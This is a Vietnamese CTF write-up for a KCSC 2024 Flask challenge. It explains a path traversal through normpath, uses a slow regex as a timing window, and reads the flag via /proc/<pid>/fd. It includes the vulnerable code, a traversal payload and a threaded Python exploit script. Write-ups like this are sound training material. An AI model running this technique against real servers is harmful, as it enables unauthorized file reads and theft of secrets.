KCSC 2024
Bài Ka Tuổi Trẻ
Tóm tắt: Challenge này là sử dụng một server flask đơn giản với function đọc file tại endpoint /
với params file
sau đó thêm ./static
vào đằng trước file để đọc file trong thư mục static. Phần sau là kiểm tra file có tồn tại không, dung lượng của file phải bé hơn 2MB và có quyền đọc nó thì sẽ tiếp tục đi qua regex nếu qua thì sẽ trả về nội dung của file đó.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, redirect
from os import access, R_OK, stat
from os.path import isfile, join, normpath
import regex
import os
app = Flask(__name__, static_url_path='/static', static_folder='static')
@app.get('/')
def home():
if request.args.get('file'):
filename = join("./static", request.args.get('file'))
if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2):
try:
with open(normpath(filename), "rb") as file:
if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename:
return file.read(1024 * 1024 * 2)
except:
pass
return redirect("/?file=index.html")
Bài này nhìn vào là có thể nhận ra ngay dính lỗi path traversal khi chỉ dùng normpath để check path của file. Chúng ta có thể đơn giản là thêm ///
vào là path của file sẽ được trỏ về root (ví dụ ///etc/passwd
)
Sau khi biết đây là lỗi path traversal thì mình thử kiểm xem filter của regex có thể bypass được không
Đọc xong filter thì thì mình thấy đơn giản regex đầu tiên không có nghĩa gì cả và chặn nếu tên file có chữ flag
. Lúc này thì vừa may có gợi ý là File descriptor
nên mình nghĩ ra một cách khác
File descriptor
File descriptor là một định danh độc nhất cho một tập tin cái mà hệ điều hành gán cho nó khi mà mở một file nào đó. Nó cho phép các chương trình tương tác với files, sockets, I/O. File descriptor thường là một số nguyên không âm và được dùng để theo dõi các file và thực hiện thao tác trên nó.
Vậy với cái này thì chúng ta sẽ làm gì ? Nhìn vào đoạn code trên khi mở một file trong text mode (‘w’, ‘r’, ‘wt’, ‘rt’, etc.) thì nó sẽ return một subclass của io.TextIOBase
. Vậy có nghĩa là sao, có nghĩa là nó sẽ mở một file descriptor khi đọc một file. Ta có thể tận dụng cái này để đọc file thông qua việc không cần đọc qua đường đẫn của nó.
Một ví dụ
/proc/pid/fd/
Đây là thư mục con chứa các symlink trỏ đến một file nào đó. Trong này luôn có các file 0, 1, 2 tương ứng với 0 là standard input, 1 là standard output, 2 là standard error và các file khác có thể là trỏ đến 1 socket nào đó hoặc 1 file cụ thể
Kết hợp hai điều trên ta có thể suy ra được cách giải như sau
Khi mà mở 1 file trong text mode thì nó sẽ mở một file descriptor trong proc/pid/fd (pid là mã số của process đó) và file đó lại symlink đến file ta muốn đọc => đọc file bất kì
Ví dụ
Vậy để giải bài này thì mình sẽ dùng file descriptor để đọc flag
Nhưng mà có một vấn đề là khi mở file thì nó lại đóng file quá nhanh làm mình chưa kịp access vào process id của nó nên bây giờ mình mới để ý phần regex filter của nó.
Nếu tên file quá dài thì khi đưa qua regex nó sẽ chạy rất lâu(max là 2 giây) và mình có thể tận dụng khoảng thời gian này để vào proc/pid/fd và đọc file
Sau một lúc fuzz thì mình thấy pid của nó nhảy ngẫu nhiên trong các giá trị 1,7,8,9 và file descriptor có tên là 10 sẽ là file symlink đến file mình đọc
Vậy ta có thể request đến server với payload /?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa./../../../../../flag.txt
để mở một file descriptor link đến file /flag.txt
và do tên quá dài nên regex sẽ bị phải chạy lâu
Trong thời gian 2s, mình gửi đến tất cả pid 1,7,8,9 và đọc file descriptor 10 để đọc flag
Dưới đây là script để tự động lấy flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import threading
import time
url = "http://103.163.24.78:8888/?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa./../../../../../flag.txt"
def get(id):
r = requests.get(url = f"http://103.163.24.78:8888/?file=///proc/{id}/fd/10")
if "KCSC" in r.text:
print(r.text)
exit()
def start1():
r = requests.get(url = url)
if __name__ == "__main__":
threading.Thread(target=start1).start()
time.sleep(1)
threading.Thread(target=get, args=(1,)).start()
threading.Thread(target=get, args=(7,)).start()
threading.Thread(target=get, args=(8,)).start()
threading.Thread(target=get, args=(9,)).start()
Và ra flag